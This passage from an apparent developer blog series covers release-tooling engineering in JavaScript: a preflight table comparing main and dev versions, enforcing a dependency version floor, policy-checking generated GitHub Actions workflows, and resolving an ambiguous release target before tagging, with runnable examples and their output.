A retune that looks better on paper can delete safety cases. A percentile-derived per-metric normalizer was simulated here, fitting each metric’s own distribution rather than holding one scale across all four. It bought two extra quarter-star buckets on pace, and it lost 2 of the 10 cards the cap catches. Granularity is easy to measure and easy to fall in love with. Before adopting a candidate curve, score it on the cases the old rule caught, and treat losing any of them as a regression regardless of what the histogram looks like.

Pick the headroom that reproduces the old boundary, not the round one. 2.0 is not there because it is tidy; it is there because floor plus 2.0 lands on the exact value the discrete cap pinned to. A headroom of 2.5 was tried and silently stopped capping 4 of the 10 cards, which is the one thing the constant exists to prevent. Whenever you replace a threshold with a formula, solve for the constant that makes the formula agree with the threshold at the point the threshold fired.

Your font may not have the glyph you just designed around. The brand monospace here carries 963 codepoints and no star among them, so a text star would render in whatever the host machine happened to substitute. Drawing the glyphs as inline SVG fixed it, and then partial fills introduced their own trap: clipping a star at 75% of its bounding box leaves 89.6% of the ink, because a star is widest in the middle. The first 4.75 was visually identical to a 5.00 until the cut table was linearised by area instead of width.

Migrate the readers in a deliberate order. Everything above is one instance of what Fowler calls Parallel Change: expand, migrate, contract. The reason the contract phase deserves its own pass is that a partially migrated numeric scale does not crash, it just reports things that are almost right.

Sources

The cost of dichotomising continuous variables (Altman & Royston, BMJ 2006) — the quantified cost of turning a continuous measure into buckets
numpy.interp documentation — piecewise linear interpolation over increasing sample points, and the clamping behaviour outside them
Parallel Change (Martin Fowler) — expand, migrate, contract as a way to land a backward-incompatible representation change
Replace Primitive with Object (Refactoring catalog) — the smell behind a score people slice with [0]

Changelog

feat(report-card): continuous 1-5 star rating replaces letter grades (0.50.0) (#198) (#199) (896fdad)

You cannot feature-detect a refusal

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

The preflight report gained an On dev column, printed immediately beside On main, and the minimum supported version of the tool underneath it went from 0.4.0 to 0.6.0. Those two lines are the same fix approached from opposite ends. One puts a fact in front of the operator early enough to act on; the other makes sure the machinery behind it will actually stop when that fact is true.

The second half is the part I keep thinking about, because it runs against advice I would normally give without hesitating: test for the capability, not the version. That advice quietly assumes the capability leaves a trace.

Put the disagreement in the table they read first

The underlying bug was that a release could be cut against whatever version sat on main while a higher version sat on dev, unread. The dependency fixed that by refusing. But a refusal that only speaks at the moment you pull the trigger is a refusal you meet at the worst possible time, after you have already decided to release and told somebody you were doing it.

So the fact moved forward, into the report you read before deciding anything.

// The report an operator reads BEFORE deciding to release anything. Its job is
// to put every fact that can block a cut into the same table, so nobody meets a
// blocker for the first time at the moment they trigger it.
export function preflight(components) {
  const rows = components.map((c) => ({
    Component: c.name,
    'Last tag': c.lastTag ?? '—',
    'On main': c.versionOnMain ?? '—',
    // The column this release added. `On main` and `On dev` disagreeing is the
    // fact a cut used to act on silently, so it belongs next to `On main`
    // rather than three commands away.
    'On dev': c.versionOnDev ?? '—',
    Blockers: (c.blockers ?? []).map((b) => b.id).join(', ') || 'none',
  }));
  return rows;
}

export function renderTable(rows) {
  if (rows.length === 0) return '(nothing to report)';
  const cols = Object.keys(rows[0]);
  const width = (c) =>
    Math.max(c.length, ...rows.map((r) => String(r[c]).length));
  const line = (cells) =>
    '| ' + cols.map((c, i) => String(cells[i]).padEnd(width(c))).join(' | ') + ' |';
  return [
    line(cols),
    '|' + cols.map((c) => '-'.repeat(width(c) + 2)).join('|') + '|',
    ...rows.map((r) => line(cols.map((c) => r[c]))),
  ].join('\n');
}

Column placement is doing real work here. On dev sits immediately after On main because the two disagreeing is the finding, and two numbers only read as a contradiction when they are adjacent. Put one of them in a different command and the operator has to already suspect the problem to go looking.

The probe that proves nothing

Now the interesting half. If your tool depends on another tool’s guard, how do you know the guard is there?

The standard answer is feature detection. MDN puts the reasoning plainly: feature detection means “working out whether a browser supports a certain block of code, and running different code depending on whether it does”, and it warns against the alternative of sniffing versions, which it calls a terrible practice that should be discouraged at all costs. I agree with that in almost every case. if ("geolocation" in navigator) is better than a version table, because the feature is a thing you can reach out and touch.

A refusal is not. Here are two versions of a dependency that differ only in whether the dangerous function honours the fact both of them report:

// Two stand-in versions of the dependency this tool drives. They differ ONLY in
// whether `cut` acts on the fact, which is the guarantee we actually rely on.
const AMBIGUOUS_NOTE = 'main and dev carry different versions';

function readStatus({ name, versionOnMain, versionOnDev }) {
  const devAhead = versionOnDev !== versionOnMain ? { version: versionOnDev } : null;
  return {
    name,
    versionOnMain,
    versionOnDev,
    devAhead,
    blockers: devAhead ? [{ id: 'dev-ahead-of-main', detail: AMBIGUOUS_NOTE }] : [],
  };
}

// Reports the fact. Does NOT refuse on it.
export const reportsOnly = {
  version: '0.5.0',
  readStatus,
  cut(status) {
    return { ok: true, tagged: `v${status.versionOnMain}` };
  },
};

// Reports the fact AND refuses to act while it is set.
export const refuses = {
  version: '0.6.0',
  readStatus,
  cut(status) {
    if (status.devAhead) {
      return { ok: false, error: `ambiguous: ${AMBIGUOUS_NOTE}, refusing to guess` };
    }
    return { ok: true, tagged: `v${status.versionOnMain}` };
  },
};

Probe either one and you get the same answer. devAhead is present in both. blockers has one entry in both. Every field you could reasonably test for exists on the version that will happily tag the wrong thing.

That is the general shape and it is worth naming: detecting a data field does not prove the behaviour that consumes it. Adding a field and acting on it are separate changes, and only the first one is observable. The only honest probe for “does cut refuse?” is to hand cut an ambiguous status and see, which means performing the operation you were trying to protect.

Check the floor yourself, because declaring it does not

If the guarantee is invisible, the version number is the only signal left. The obvious move is to declare it as a dependency constraint and stop thinking about it, and for a library that is usually right. For a tool you shell out to, it is not: npm’s own documentation says the engines field is advisory only unless the user has set the engine-strict config flag, producing warnings rather than refusals. A declared floor and an enforced floor are different things.

So check it in your own process, at startup, before anything can happen.

// The floor check. Runs in your process, at startup, and says what the floor
// buys rather than just quoting two numbers at the operator.
export function cmpSemver(a, b) {
  const pa = String(a).split('.').map(Number);
  const pb = String(b).split('.').map(Number);
  for (let i = 0; i < 3; i++) {
    if ((pa[i] ?? 0) !== (pb[i] ?? 0)) return (pa[i] ?? 0) - (pb[i] ?? 0);
  }
  return 0;
}

export const MIN_DEP = '0.6.0';

// `buys` is the important argument. A floor whose message is "requires >= 0.6.0"
// teaches the reader nothing and invites them to lower it; a floor that names
// the guarantee explains why lowering it is not a config change.
export function requireFloor(actual, min = MIN_DEP, buys = 'the refusal to release an ambiguous target') {
  if (cmpSemver(actual, min) >= 0) return { ok: true, actual };
  return {
    ok: false,
    error:
      `needs >= ${min}, found ${actual}. ${min} is where ${buys} landed. ` +
      `An older version returns a status of the same shape and silently ` +
      `lacks it, so this cannot be detected from the response.`,
  };
}

The buys argument is a small thing that changes how the floor survives. A message reading “requires >= 0.6.0” reads as bureaucracy, and the next person who hits it on a machine with 0.5.0 installed will try lowering the constant to see if it works. It will appear to work, because the missing behaviour is a refusal that does not fire on any of the happy paths they test. Naming the guarantee in the error is what stops that.

Note that cmpSemver parses rather than string-compares. Semantic Versioning requires numeric comparison of major, minor and patch, and lexicographic order puts 0.10.0 below 0.9.0, which in a floor check means silently accepting a version far below your minimum.

Run it

import assert from 'node:assert/strict';
import { preflight, renderTable } from './preflight.mjs';
import { reportsOnly, refuses } from './deps.mjs';
import { requireFloor } from './floor.mjs';

const COMPONENTS = [
  { name: 'widget', lastTag: '0.1.0', versionOnMain: '0.2.1', versionOnDev: '0.3.0' },
  { name: 'gadget', lastTag: '1.4.0', versionOnMain: '1.4.0', versionOnDev: '1.4.0' },
];

// 1. The table an operator reads first, with both branch columns side by side.
const withStatus = COMPONENTS.map((c) => ({ ...c, ...refuses.readStatus(c) }));
console.log(renderTable(preflight(withStatus)));

// 2. Now the probe. Both dependency versions expose the same field.
const ambiguous = COMPONENTS[0];
for (const dep of [reportsOnly, refuses]) {
  const status = dep.readStatus(ambiguous);
  console.log(
    `\n${dep.version}: hasOwn(status,'devAhead') = ${Object.hasOwn(status, 'devAhead')}` +
    ` | blockers = ${status.blockers.length}`
  );
}

// The probe passes on both, so it proves nothing about what cut() will do.
assert.equal(
  Object.hasOwn(reportsOnly.readStatus(ambiguous), 'devAhead'),
  Object.hasOwn(refuses.readStatus(ambiguous), 'devAhead')
);

// 3. The only thing that distinguishes them is running the irreversible call.
console.log('\nwhat cut() actually does with the same input:');
for (const dep of [reportsOnly, refuses]) {
  const result = dep.cut(dep.readStatus(ambiguous));
  console.log(`  ${dep.version}:`, JSON.stringify(result));
}
assert.equal(reportsOnly.cut(reportsOnly.readStatus(ambiguous)).ok, true);
assert.equal(refuses.cut(refuses.readStatus(ambiguous)).ok, false);

// 4. So check the version instead, at startup, before any of this runs.
console.log('\nfloor check:');
for (const dep of [reportsOnly, refuses]) {
  const gate = requireFloor(dep.version);
  console.log(`  ${dep.version}: ${gate.ok ? 'ok' : gate.error}`);
}
assert.equal(requireFloor(reportsOnly.version).ok, false);
assert.equal(requireFloor(refuses.version).ok, true);

console.log('\nall checks passed');

Save the three blocks as preflight.mjs, deps.mjs and floor.mjs, this one as check.mjs, and run node check.mjs. It uses nothing but Node’s own assert module. Here is what it printed for me:

| Component | Last tag | On main | On dev | Blockers          |
|-----------|----------|---------|--------|-------------------|
| widget    | 0.1.0    | 0.2.1   | 0.3.0  | dev-ahead-of-main |
| gadget    | 1.4.0    | 1.4.0   | 1.4.0  | none              |

0.5.0: hasOwn(status,'devAhead') = true | blockers = 1

0.6.0: hasOwn(status,'devAhead') = true | blockers = 1

what cut() actually does with the same input:
  0.5.0: {"ok":true,"tagged":"v0.2.1"}
  0.6.0: {"ok":false,"error":"ambiguous: main and dev carry different versions, refusing to guess"}

floor check:
  0.5.0: needs >= 0.6.0, found 0.5.0. 0.6.0 is where the refusal to release an ambiguous target landed. An older version returns a status of the same shape and silently lacks it, so this cannot be detected from the response.
  0.6.0: ok

all checks passed

The two middle sections are the whole argument sitting next to each other. The probe reports identically for both versions. The operation reports ok: true against one and refuses against the other. If your only evidence is the first block, you have learned nothing about the second.

Gotchas

A floor you raise without saying why gets lowered. The constant is the easy part; the reason it moved is the part that has to travel with it. Put the guarantee in the error string, and put the same sentence in the changelog entry that raises it. Somebody hitting this on a machine with the old version will test whether lowering it breaks anything, and it will not break anything they can see, because the thing they removed only fires on a case they are not in.

Declaring a dependency floor is not enforcing one. engines warns by default. A peer range can be satisfied by a hoisted copy you did not expect. If the tool is invoked as a subprocess rather than imported, package metadata does not constrain it at all: the binary on PATH is whatever is on PATH. Read the version from the thing you are actually going to run.

Bundle the version check with the version report. When you shell out, ask the tool for its version and remember where you found it. Reporting “found 0.5.0 at /usr/local/bin/tool” turns a confusing failure into a one-step fix, because the most common cause of a too-old dependency is a stale global install shadowing the one you thought you were running.

A blocker that only appears at the point of action is a blocker discovered too late. This is the ordering half of the same lesson. If a condition can stop an operation, it belongs in whatever report people read while deciding to perform that operation, not only in the guard that fires when they do. The guard still has to exist; it is the last line, not the first.

Do not let the fix for an overclaim be a softer claim. A rationale in this release said its fixtures covered “the grouper and the state machine” when no assertion in it read state at all, and all three fixtures carried the same value. The correction was to name only what is genuinely covered and point at where the rest is actually pinned. Documentation that describes coverage you do not have is worse than documentation that describes less, because it stops anybody from going looking.

Sources

Feature detection (MDN) — the standard advice to test for capability rather than version, and why
npm package.json documentation — engines is advisory unless engine-strict is set
Semantic Versioning 2.0.0 — numeric precedence, which is what a floor check has to implement

Changelog

fix(release): surface dev-ahead-of-main before cut, not only after it refuses (0.2.0) (#179) (29efa06)

Your generator's output is code nobody reviewed

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

The scaffolder stopped emitting a release trigger this repo had already banned, an eighth registry was added to the list a new skill gets wired into, and the reference document that still described the old behaviour was rewritten. The assertions covering all of that went into their own file rather than into the baseline the tooling regenerates, for reasons that turn out to be the most useful part of the story.

The transferable piece: if you generate code, the check that governs your hand-written files has to run against what your generator emits, and the test proving it has to live somewhere your own tooling cannot quietly delete.

One policy, applied to generated files too

The banned pattern was a release job that accepted push as well as workflow_dispatch. In this repo a dev to main promotion merge fires a push event, so a release job wired that way releases on merge rather than on a deliberate decision. That had already cost two real releases: one skill tagged with stale notes before a planned changelog edit landed, and another tagged and published to npm seconds after a merge, with no dispatch and nobody choosing to release it.

The trigger was banned. Every hand-written caller was fixed. And the scaffolder kept handing the old one to every new skill, because generated files are not where people look.

That is not a metaphor. GitHub will hide generated files from diffs by default when you mark them linguist-generated in .gitattributes, which is a sensible feature and also an accurate description of what happens to generated code without the attribute: people scroll past it. A policy enforced by review does not reach anything nobody reads.

So write the policy as code, once, and let it govern everything:

// The policy that governs EVERY workflow in the repo. There is exactly one of
// these, and generated files are not exempt from it. Reusing the checker you
// already have is the point; writing a second one for generated output is how
// the two drift apart.
const BANNED_RELEASE_TRIGGERS = [
  {
    id: 'release-on-push',
    // A promotion merge fires a push event, so a release job that accepts
    // `push` releases on merge instead of on a deliberate dispatch.
    test: /event_name\s*==\s*'push'/,
    why: "a release job must be workflow_dispatch-only; `push` makes a merge cut the tag",
  },
];

export function checkWorkflow(name, yaml) {
  const findings = [];
  for (const rule of BANNED_RELEASE_TRIGGERS) {
    if (rule.test.test(yaml)) findings.push({ file: name, rule: rule.id, why: rule.why });
  }
  return { ok: findings.length === 0, findings };
}

In a real repo you would not write this; you would point the linter you already run at the generated path. The important property is that there is one checker, not two. A second checker written specially for generated output starts as a copy and ends as a different rule.

Run the generator inside the test

Here is the generator, in both the shape that predated the ban and the shape that respects it:

// The scaffolder. `emitCaller` is the template that predates the policy;
// `emitCallerFixed` is the same template after it was brought back in line.
export function emitCaller(skill) {
  return `name: ${skill}
on:
  pull_request:
  push:
    branches: [main]
    paths: ['skills/${skill}/**']
  workflow_dispatch:
jobs:
  ci:
    uses: ./.github/workflows/_ci.yml
  release:
    needs: ci
    if: (github.event_name == 'push' || github.event_name == 'workflow_dispatch')
    uses: ./.github/workflows/_release.yml
`;
}

export function emitCallerFixed(skill) {
  return `name: ${skill}
on:
  pull_request:
  push:
    branches: [main]
    paths: ['skills/${skill}/**']
  workflow_dispatch:
jobs:
  ci:
    uses: ./.github/workflows/_ci.yml
  release:
    needs: ci
    # NEVER add \`push\` here. A promotion merge fires it, which turns every
    # merge into a release.
    if: github.event_name == 'workflow_dispatch'
    uses: ./.github/workflows/_release.yml
`;
}

// Every registry a new skill has to appear in for the rest of the toolchain to
// see it. The list is the contract; a scaffolder that wires six of seven
// produces a skill that looks complete and is invisible to one tool.
export const REGISTRIES = [
  'marketplace.json',
  'repo-settings.sh',
  'plugin.json',
  'workflow-caller',
  'changelog',
  'invariants',
  'shipflow.json',
];

export function scaffold(skill, { fixed = true } = {}) {
  return {
    workflow: (fixed ? emitCallerFixed : emitCaller)(skill),
    wired: REGISTRIES.map((r) => ({ registry: r, entry: skill })),
  };
}

Note the push trigger survives at the top of both templates. That one is correct and load-bearing: it runs the tests when the branch changes. workflow_dispatch is required for the manual trigger, which the docs describe as how you run a workflow from the API, CLI or UI. The banned thing is narrower than either: it is the release job’s if: accepting push. A rule stated as “no push triggers” would have been wrong and would have been removed within a week.

The registry list is the other half of what shipped. This repo’s scaffolder wires eight registries now; it wired seven, and the missing one meant a newly created skill was invisible to the release tooling entirely, which reported on every other component and looked complete while doing it.

Now the test that ties the two together:

// The test that closes the loop: RUN the generator, then hand its output to the
// same policy checker your hand-written files go through.
//
// This file is deliberately separate from any golden/baseline file the tooling
// regenerates. A guard living inside a regenerated file is deleted by the
// command someone runs when a golden goes red, which is the exact moment the
// guard was supposed to speak up.
import assert from 'node:assert/strict';
import { checkWorkflow } from './policy.mjs';
import { emitCaller, scaffold, REGISTRIES } from './generate.mjs';

export function run() {
  const results = [];

  // 1. The generator's output obeys the policy.
  const out = scaffold('newskill');
  const checked = checkWorkflow('newskill.yml', out.workflow);
  assert.equal(checked.ok, true, `scaffolded workflow violates policy: ${JSON.stringify(checked.findings)}`);
  results.push('scaffolded workflow passes the repo policy');

  // 2. Non-vacuity. The check must FAIL against the template it replaced,
  //    otherwise it is asserting nothing and will stay green through a
  //    regression.
  const old = checkWorkflow('newskill.yml', emitCaller('newskill'));
  assert.equal(old.ok, false, 'the policy check does not catch the banned trigger');
  results.push(`policy still catches the old template: ${old.findings[0].rule}`);

  // 3. Every registry gets an entry. Counting is the assertion, because a
  //    missing one is invisible in a diff that only shows what was added.
  assert.equal(out.wired.length, REGISTRIES.length);
  for (const r of REGISTRIES) {
    assert.ok(out.wired.some((w) => w.registry === r && w.entry === 'newskill'), `not wired into ${r}`);
  }
  results.push(`wired into all ${REGISTRIES.length} registries`);

  return results;
}

Assertion 2 is the one people skip and the one that does the work. A test asserting only that today’s output is clean passes just as happily against a checker that has stopped checking. Asserting the check still fails against the input it was written for is what keeps it honest, and it costs one extra line.

Run it

import assert from 'node:assert/strict';
import { checkWorkflow } from './policy.mjs';
import { emitCaller, emitCallerFixed } from './generate.mjs';
import { run } from './wiring.test.mjs';

// What the policy says about each template.
for (const [label, yaml] of [
  ['old template', emitCaller('newskill')],
  ['fixed template', emitCallerFixed('newskill')],
]) {
  const r = checkWorkflow('newskill.yml', yaml);
  console.log(`${label.padEnd(15)} ok=${r.ok}` + (r.ok ? '' : `  ${r.findings[0].rule}: ${r.findings[0].why}`));
}

console.log();
for (const line of run()) console.log('PASS', line);

// ── the part that bites: a regenerator eating its own guard ──────────────────
// `freeze` rewrites the baseline file from a template. Anything hand-written in
// it is gone, silently, and the run that deletes it is the run someone starts
// because a golden went red.
const BASELINE_TEMPLATE = `import assert from 'node:assert/strict';\n// generated by freeze\n`;
let baselineFile = BASELINE_TEMPLATE + `assert.ok(scaffoldOutputPassesPolicy(), 'hand-written guard');\n`;

console.log('\nbefore freeze, baseline file guards:',
  baselineFile.includes('hand-written guard') ? 1 : 0);
baselineFile = BASELINE_TEMPLATE;   // freeze regenerates from the template
console.log('after  freeze, baseline file guards:',
  baselineFile.includes('hand-written guard') ? 1 : 0);

// The separate file survives, because nothing regenerates it.
assert.equal(run().length, 3, 'the standalone wiring test still runs');
console.log('after  freeze, wiring.test.mjs assertions:', run().length);

console.log('\nall checks passed');

Save the three blocks as policy.mjs, generate.mjs and wiring.test.mjs, this one as check.mjs, then run node check.mjs. It needs nothing but Node. Here is what it printed for me:

old template    ok=false  release-on-push: a release job must be workflow_dispatch-only; `push` makes a merge cut the tag
fixed template  ok=true

PASS scaffolded workflow passes the repo policy
PASS policy still catches the old template: release-on-push
PASS wired into all 7 registries

before freeze, baseline file guards: 1
after  freeze, baseline file guards: 0
after  freeze, wiring.test.mjs assertions: 3

all checks passed

The last three lines are the reason the test file sits where it does. A guard written into a regenerated file counts one assertion before the regenerator runs and zero after, with nothing in the output saying so.

Gotchas

A generated defect is found one project too late. This one was caught by CI, which sounds fine until you notice where: on a brand new skill’s first pull request. By that point the bad file has already been written into a new directory, so the fix is manual, and it will be manual again for the next skill until the template itself changes. CI on the consumer tells you the generator is broken; only a test on the generator stops it producing more. Both are worth having, and they are not substitutes.

Regenerators eat hand-written guards, silently. The command that rewrites a baseline from a template does not diff what it is replacing, and the moment somebody runs it is the moment a golden has gone red, which is the moment the guard was trying to say something. Keep regression assertions in a file nothing regenerates. This is also why golden files alone are thin protection: change-detector tests that mirror the implementation get updated rather than investigated whenever they fail. Verify the split works by reverting the template, re-running the regenerator, and confirming your separate test still fails.

A stale reference doc undoes the fix later. The reference this scaffolder ships still carried a section describing releases as publish-on-merge, which is exactly the behaviour that was reversed. A generator and a document that both predate a change will reintroduce it between them, one confidently and one politely. When you ban a pattern, grep the prose too.

State the ban narrowly enough to survive. push is correct in the workflow’s top-level trigger list and wrong in the release job’s condition. A rule written as “no push” would be deleted the first time it blocked something legitimate. Aim the check at the exact construct that causes the harm.

Count registry entries; do not eyeball them. A missing wiring point is invisible in a diff, because a diff shows what changed and this defect is something absent. Assert the length against the declared list so adding a new registry to the contract fails until the generator writes it.

Sources

Customizing how changed files appear on GitHub — marking paths linguist-generated hides them from diffs by default
Events that trigger workflows (GitHub Actions) — what push and workflow_dispatch actually fire on
Change-Detector Tests Considered Harmful (Google Testing Blog) — why a test that mirrors the implementation gets updated instead of investigated

Changelog

fix(skillfactory): stop scaffolding the release trigger this repo banned (0.4.0) (#170) (8bc5386)

One state string cannot carry two independent facts

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

release-cut no longer guesses when it cannot tell which version it is being asked to release. The status reader now reports “dev is ahead of main” as its own fact rather than folding it into a single state string, a new pure resolveReleaseTarget is the only place the release target is decided, and cut calls it before any network request and refuses outright when the answer is ambiguous, naming both candidate versions in the refusal.

The general shape is worth stealing for anything that takes an irreversible action based on state it read a moment earlier: keep independent facts independent, resolve the target once, and make your escape hatch a confirmation rather than a bypass.

The state that could only report one thing

I found this the boring way, which is the only reason I am writing about it instead of apologising for it. I was about to cut a release, opened the function that does the cutting because I wanted to check something unrelated, and realised while reading it that the version it was going to tag was not the version I thought I was releasing. Main was at 0.2.1. Dev was at 0.3.0. The tool would have dispatched a release for 0.2.1, waited for that tag, found it, and reported success.

Nothing about that outcome would have looked like a failure.

The reader collapsed three inputs into one answer:

// Reads the three version facts and reports a state. The bug lives here.
export function cmpSemver(a, b) {
  const pa = String(a).split('.').map(Number);
  const pb = String(b).split('.').map(Number);
  for (let i = 0; i < 3; i++) {
    if ((pa[i] ?? 0) !== (pb[i] ?? 0)) return (pa[i] ?? 0) - (pb[i] ?? 0);
  }
  return 0;
}

// `facts` is whatever you can read off the remote: the newest tag for this
// component, and the version declared on each long-lived branch.
export function readStatus({ name, lastTag, versionOnMain, versionOnDev }) {
  let state;
  if (!lastTag) state = 'untagged-bump-on-main';       // never released
  else if (cmpSemver(versionOnMain, lastTag) > 0) state = 'untagged-bump-on-main';
  else if (cmpSemver(versionOnDev, versionOnMain) > 0) state = 'bump-on-dev-unpromoted';
  else state = 'clean';

  return { name, state, lastTag, versionOnMain, versionOnDev };
}

Look at what an if/else if chain does to two facts that are both true. “Main carries an untagged bump” and “dev already carries something higher” are not alternatives. They happen together all the time. But a chain has to pick one branch, so the first condition wins and the second fact never reaches the caller. The returned object still contains versionOnDev, and the fast path downstream never read it, because it was written to trust state.

This is the well-known advice about making illegal states unrepresentable running in the other direction. Squeezing your model down until only valid states fit is good; squeezing it past that point makes valid states unrepresentable, and the ones that vanish are the awkward combinations you did not picture while writing the enum.

Report the second fact beside the state, not inside it

The fix is small and the placement is the entire trick: compute the fact outside the branch that computes the state.

// Same reader, with the second fact reported alongside the state instead of
// being collapsed into it.
import { cmpSemver } from './status.mjs';

export function readStatus({ name, lastTag, versionOnMain, versionOnDev }) {
  let state;
  if (!lastTag) state = 'untagged-bump-on-main';
  else if (cmpSemver(versionOnMain, lastTag) > 0) state = 'untagged-bump-on-main';
  else if (cmpSemver(versionOnDev, versionOnMain) > 0) state = 'bump-on-dev-unpromoted';
  else state = 'clean';

  // A FACT, not a state. Computed outside the branch above so it is also set
  // on a component's never-released first bump, which reaches the same state
  // by a different route. Folding this into `state` is the bug: "main has an
  // untagged bump" and "dev already carries something higher" are
  // independently true, and one mutually-exclusive string reports only one.
  const devAhead =
    versionOnMain && versionOnDev && cmpSemver(versionOnDev, versionOnMain) > 0
      ? { version: versionOnDev, aheadOfMain: true }
      : null;

  // Scoped to exactly the state where the fast path is armed. `bump-on-dev-
  // unpromoted` also has devAhead set; that is its normal shape, and flagging
  // it would permanently mark a routine state as blocked, which is how a
  // blocker stops being read.
  const blockers = [];
  if (devAhead && state === 'untagged-bump-on-main') {
    blockers.push({
      id: 'dev-ahead-of-main',
      detail:
        `main carries ${versionOnMain} but dev carries ${devAhead.version}: ` +
        `cutting here would tag v${versionOnMain}, not v${devAhead.version}.`,
    });
  }

  return { name, state, lastTag, versionOnMain, versionOnDev, devAhead, blockers };
}

Two decisions in there are load-bearing, and both are easy to get wrong in the opposite direction.

devAhead is computed unconditionally, not inside the branch it usually accompanies. A component that has never been released reaches untagged-bump-on-main down a different path, and a patch written only against the branch you were looking at when you found the bug misses that sibling completely.

The blocker, by contrast, is scoped tightly. bump-on-dev-unpromoted also has devAhead set, and that is simply what that state looks like when everything is fine. Raising a blocker there would put a permanent warning on a routine condition, and a warning that is always on is a warning nobody reads.

Decide the target once, in a pure function

The second half of the bug was that the target version was derived twice, about ten lines apart, once preferring dev and once preferring main. Two derivations of the same decision are two chances to disagree, and this pair did.

// The ONE place the release target is decided. Pure: a status plus an optional
// operator-supplied version in, a decision out. No I/O, so it is trivially
// testable and can be called before anything irreversible happens.
//
// `requestedVersion` is a CONFIRMATION, not a bypass: it is only ever accepted
// when it names a version already present in this status, so there is no value
// of it that releases something which is not actually on the branch.
export function resolveReleaseTarget(status, requestedVersion = null) {
  const { name, state, versionOnMain, versionOnDev, devAhead } = status;

  if (state === 'untagged-bump-on-main') {
    if (!devAhead) {
      return { ok: true, version: versionOnMain, via: 'dispatch-on-main' };
    }
    if (requestedVersion === versionOnMain) {
      return {
        ok: true, version: versionOnMain, via: 'dispatch-on-main', confirmed: true,
      };
    }
    if (requestedVersion === versionOnDev) {
      return {
        ok: false,
        error: `${versionOnDev} is on dev but not on main, and a dispatch on main ` +
          `cannot cut it. Promote dev to main first, then re-read status.`,
      };
    }
    return {
      ok: false,
      error: `${name}: main carries ${versionOnMain} but dev carries ${versionOnDev}, ` +
        `so which one to release is ambiguous and this refuses to guess. Promote ` +
        `dev to main and re-read status to release ${versionOnDev}, or pass ` +
        `--version ${versionOnMain} to release exactly what is on main.`,
    };
  }

  // Every other state has a single unambiguous candidate: dev when it carries
  // the prepared bump, otherwise main.
  return { ok: true, version: versionOnDev ?? versionOnMain, via: 'prepared-branch' };
}

Purity is what makes this cheap to trust. There is no clone, no API call and no clock in it, so every branch can be exercised in a unit test in microseconds, and it can be called at the top of the dangerous function before anything has happened yet.

Then the caller uses its answer for everything, including the tag it later waits for:

// The caller. One resolve, before any network call, and both the dispatch and
// the tag it waits for read the same decided version.
import { resolveReleaseTarget } from './target.mjs';

// Stand-ins for the irreversible parts. In a real tool these dispatch a
// workflow and poll a remote; here they just record that they were reached.
const dispatched = [];
export function dispatchRelease(ref, version) {
  dispatched.push({ ref, version });
  return { ok: true };
}
export function reset() { dispatched.length = 0; }
export function calls() { return [...dispatched]; }

export function cut(status, { version = null } = {}) {
  const target = resolveReleaseTarget(status, version);
  if (!target.ok) return { ok: false, error: target.error };

  // Derived ONCE from the decided version. Before this existed the target was
  // computed twice, ten lines apart, and the two copies could disagree.
  const tag = `v${target.version}`;

  if (target.via === 'dispatch-on-main') {
    dispatchRelease('main', target.version);
    return { ok: true, tag, targetVersion: target.version, via: target.via };
  }
  dispatchRelease('release-branch', target.version);
  return { ok: true, tag, targetVersion: target.version, via: target.via };
}

That const tag line is the property worth naming. The thing you dispatch and the thing you then verify have to come from one value, or a run can succeed at proving the wrong artifact exists.

Make the escape hatch a confirmation, not a bypass

A refusal that cannot be overridden becomes a refusal people work around, so --version exists. The design constraint is that it must never be able to release something that is not there.

That is why the flag is checked against the status rather than trusted: --version 0.2.1 is accepted only because 0.2.1 is genuinely on main. --version 0.3.0 is refused even though 0.3.0 is a real version on a real branch, because a dispatch on main cannot cut it. There is no value of the flag that produces a release of something absent from the branch being dispatched.

The Command Line Interface Guidelines reach the same place from the usability side. Their advice for severe actions is to make confirmation hard to do by accident, “such as the name of the thing they’re deleting”, and they suggest a scriptable form: “Let them alternatively pass a flag such as --confirm="name-of-thing"”. A version number is exactly that. Typing it means you looked.

Run the cases

import assert from 'node:assert/strict';
import { readStatus as readCollapsed } from './status.mjs';
import { readStatus } from './status2.mjs';
import { cut, calls, reset } from './cut.mjs';

// The case that bites: main has an untagged bump AND dev carries something
// higher. Both facts are true at once.
const AMBIGUOUS = { name: 'widget', lastTag: '0.1.0', versionOnMain: '0.2.1', versionOnDev: '0.3.0' };

const collapsed = readCollapsed(AMBIGUOUS);
console.log('collapsed :', JSON.stringify(collapsed));
assert.equal(collapsed.state, 'untagged-bump-on-main');
console.log('  -> one state string, and nothing in it mentions 0.3.0\n');

const status = readStatus(AMBIGUOUS);
console.log('with fact :', JSON.stringify({ state: status.state, devAhead: status.devAhead }));
console.log('  blocker :', status.blockers[0].id, '|', status.blockers[0].detail, '\n');

// 1. Unconfirmed: refuse, and name both candidates.
reset();
const refused = cut(status);
assert.equal(refused.ok, false);
assert.equal(calls().length, 0, 'nothing irreversible may run on an ambiguous target');
console.log('unconfirmed cut ->', refused.error, '\n');

// 2. Confirmed with the version that IS on main: allowed.
reset();
const confirmed = cut(status, { version: '0.2.1' });
console.log('cut --version 0.2.1 ->', JSON.stringify(confirmed));
assert.deepEqual(calls(), [{ ref: 'main', version: '0.2.1' }]);

// 3. Confirmed with dev's version: still refused, because a dispatch on main
//    cannot cut a version that is not on main. The flag is not a bypass.
reset();
const wrong = cut(status, { version: '0.3.0' });
assert.equal(wrong.ok, false);
assert.equal(calls().length, 0);
console.log('cut --version 0.3.0 ->', wrong.error);

// 4. A version on neither branch is refused too.
reset();
assert.equal(cut(status, { version: '9.9.9' }).ok, false);
assert.equal(calls().length, 0);

// 5. The routine case still works untouched: dev ahead, but main is tagged, so
//    no fast path is armed and no blocker is raised.
const routine = readStatus({ name: 'widget', lastTag: '0.2.1', versionOnMain: '0.2.1', versionOnDev: '0.3.0' });
assert.equal(routine.state, 'bump-on-dev-unpromoted');
assert.ok(routine.devAhead, 'the fact is still reported');
assert.equal(routine.blockers.length, 0, 'but a routine state is never flagged');
console.log('\nroutine dev-ahead:', routine.state, '| blockers:', routine.blockers.length);

// 6. The sibling: a component that has never been released reaches the same
//    state by a different route, and must still be caught.
const firstEver = readStatus({ name: 'widget', lastTag: null, versionOnMain: '0.1.0', versionOnDev: '0.2.0' });
assert.equal(firstEver.state, 'untagged-bump-on-main');
assert.equal(firstEver.blockers.length, 1, 'a first release is not exempt');
console.log('never released :', firstEver.state, '| blockers:', firstEver.blockers.length);

